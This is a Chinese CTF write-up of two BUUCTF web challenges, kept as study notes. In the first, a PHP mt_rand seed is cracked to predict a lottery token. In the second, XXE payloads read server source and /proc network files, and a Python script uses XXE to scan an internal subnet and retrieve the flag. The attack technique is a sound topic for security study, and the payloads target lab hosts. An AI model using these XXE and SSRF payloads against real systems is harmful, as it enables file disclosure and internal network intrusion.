[GWCTF 2019]枯燥的抽奖
思路
源码(需要把cdn的css关了
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
我想这里的mt_srand是可以利用的,因为随机数固定了,但我不会用
解题
看别人的WP才知道有这么一个工具:
GitHub – Al1ex/php_mt_seed: php_mt_seed is a PHP mt_rand() seed cracker
(已更新至工具集
安装
git clone https://github.com/Al1ex/php_mt_seed.git
# 解压后进入
make
首先我们看到页面给我们的提示:

那么我们可以根据源码和提示inGX7C83lZ生成供php_mt_seed使用的payload:
<?php
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='inGX7C83lZ';
$long1len = strlen($str_long1) - 1;
for ($i = 0; $i < 10; $i ++ ){
$chr = $str[$i];
$pos = strpos($str_long1, $chr);
echo "$pos $pos 0 $long1len ";
}
[Running] php "c:\Users\MSIK\projects\PersonalTest\hello.php"
8 8 0 61 13 13 0 61 42 42 0 61 59 59 0 61 33 33 0 61 38 38 0 61 34 34 0 61 29 29 0 61 11 11 0 61 61 61 0 61
[Done] exited with code=0 in 0.051 seconds
于是使用工具:
./php_mt_seed 8 8 0 61 13 13 0 61 42 42 0 61 59 59 0 61 33 33 0 61 38 38 0 61 34 34 0 61 29 29 0 61 11 11 0 61 61 61 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 1133.5 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x0c000000 - 0x0dffffff, speed 49.1 Mseeds/s
seed = 0x0cd2d56d = 215143789 (PHP 7.1.0+)
Found 1, trying 0xfe000000 - 0xffffffff, speed 49.1 Mseeds/s
Found 1
刚好是PHP7,不用控制版本了,构造推演代码
<?php
mt_srand(215143789);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "</br>";
echo $str;
[Running] php "c:\Users\MSIK\projects\PersonalTest\hello.php"
</br>inGX7C83lZwSVVAAOsuQ
[Done] exited with code=0 in 0.058 seconds
完事
注意
又学习了一个新工具
[NCTF2019]True XML cookbook
解题
抓包

立马精神了,这这不是xxe吗
先测试回显
<user>
<username>12</username>
<password>1333</password>
</user>
<result>
<code>0</code>
<msg>12</msg>
</result>
那么先根据报错,看看doLogin.php源码:
<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user>
<username>&payload;</username>
<password>1</password>
</user>
<result><code>0</code><msg>PD9waHAKLyoqCiogYXV0b3I6IGMwbnkxCiogZGF0ZTogMjAxOC0yLTcKKi8KCiRVU0VSTkFNRSA9ICdhZG1pbic7IC8v6LSm5Y+3CiRQQVNTV09SRCA9ICcwMjRiODc5MzFhMDNmNzM4ZmZmNjY5M2NlMGE3OGM4OCc7IC8v5a+G56CBCiRyZXN1bHQgPSBudWxsOwoKbGlieG1sX2Rpc2FibGVfZW50aXR5X2xvYWRlcihmYWxzZSk7CiR4bWxmaWxlID0gZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0Jyk7Cgp0cnl7CgkkZG9tID0gbmV3IERPTURvY3VtZW50KCk7CgkkZG9tLT5sb2FkWE1MKCR4bWxmaWxlLCBMSUJYTUxfTk9FTlQgfCBMSUJYTUxfRFRETE9BRCk7CgkkY3JlZHMgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCgkkdXNlcm5hbWUgPSAkY3JlZHMtPnVzZXJuYW1lOwoJJHBhc3N3b3JkID0gJGNyZWRzLT5wYXNzd29yZDsKCglpZigkdXNlcm5hbWUgPT0gJFVTRVJOQU1FICYmICRwYXNzd29yZCA9PSAkUEFTU1dPUkQpewoJCSRyZXN1bHQgPSBzcHJpbnRmKCI8cmVzdWx0Pjxjb2RlPiVkPC9jb2RlPjxtc2c+JXM8L21zZz48L3Jlc3VsdD4iLDEsJHVzZXJuYW1lKTsKCX1lbHNlewoJCSRyZXN1bHQgPSBzcHJpbnRmKCI8cmVzdWx0Pjxjb2RlPiVkPC9jb2RlPjxtc2c+JXM8L21zZz48L3Jlc3VsdD4iLDAsJHVzZXJuYW1lKTsKCX0JCn1jYXRjaChFeGNlcHRpb24gJGUpewoJJHJlc3VsdCA9IHNwcmludGYoIjxyZXN1bHQ+PGNvZGU+JWQ8L2NvZGU+PG1zZz4lczwvbXNnPjwvcmVzdWx0PiIsMywkZS0+Z2V0TWVzc2FnZSgpKTsKfQoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwplY2hvICRyZXN1bHQ7Cj8+</msg></result>
解码后:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
尝试登录无果,只能看WP了
参考文献:[BUUCTF题解][NCTF2019]True XML cookbook – Article_kelp – 博客园 (cnblogs.com)
怀疑可能在内网主机,使用/proc/net/fib_trie
/proc/net/fib_trie文件提供了关于FIB(Forwarding Information Base,转发信息库)Trie(前缀树)的信息。其作用是高效地存储和查找路由表项。它以一种前缀树的形式组织了路由表项,其中每个节点表示一个路由前缀。通过在树中进行前缀匹配,内核可以快速找到与目标IP地址最匹配的路由表项。
<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY payload SYSTEM "file:///proc/net/fib_trie">
]>
<user>
<username>&payload;</username>
<password>1</password>
</user>
Main:
+-- 0.0.0.0/0 3 0 5
+-- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.230
/32 host LOCAL
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
Local:
+-- 0.0.0.0/0 3 0 5
+-- 0.0.0.0/4 2 0 2
|-- 0.0.0.0
/0 universe UNICAST
|-- 10.244.166.230
/32 host LOCAL
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
|-- 169.254.1.1
/32 link UNICAST
再看看/proc/net/arp
在ARM Linux系统中,
/proc/net/arp文件是用于显示ARP缓存表信息的虚拟文件。该文件的内容格式如下:IP address HW type Flags HW address Mask Device 192.168.1.1 0x1 0x2 11:22:33:44:55:66 * eth0 192.168.1.2 0x1 0x2 22:33:44:55:66:77 * eth0其中,每一行代表一个ARP缓存表项,各列的含义如下:
IP address:ARP表项中的IP地址。HW type:ARP表项中的硬件类型,通常为0x1,表示以太网。Flags:ARP表项中的标志位,通常为0x2,表示已经完成了ARP请求,即已经获取到了目标设备的MAC地址。HW address:ARP表项中的MAC地址。Mask:ARP表项中的掩码,通常为”*”,表示掩码不确定。Device:ARP表项所在的网络接口。
<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY payload SYSTEM "file:///proc/net/arp">
]>
<user>
<username>&payload;</username>
<password>1</password>
</user>
IP address HW type Flags HW address Mask Device
192.168.122.15 0x1 0x2 ee:ee:ee:ee:ee:ee * eth0
169.254.1.1 0x1 0x2 ee:ee:ee:ee:ee:ee * eth0
那么,除了本机的127回环地址和这个169,就属10.244.166.230最可疑了,爆破这个网段
import requests
url = "http://cf71db5a-ce61-49b8-9041-91d3ca50d8cd.node5.buuoj.cn:81/doLogin.php"
payload = '<?xml version="1.0"?>'\
'<!DOCTYPE user['\
'<!ENTITY payload SYSTEM "http://10.244.166.{}">'\
']>'\
'<user>'\
'<username>&payload;</username>'\
'<password>1</password>'\
'</user>'
for i in range(256):
new_payload = payload.format(i)
print(f"#{i} =>", end="")
try:
response = requests.post(url=url, data=new_payload, timeout=0.3)
except:
continue
else:
print(response.text, end="")
finally:
print("")
#48 =>
#49 =>
#50 =>
#51 =>
#52 =>
#53 =>
#54 =>
#55 =>
#56 =>
#57 =>
#58 =><result><code>0</code><msg>flag{e92cd65c-c0a4-4758-9650-1d8a2b5c64cf}</msg></result>
#59 =>
注意
xxe要好好学,记得记笔记
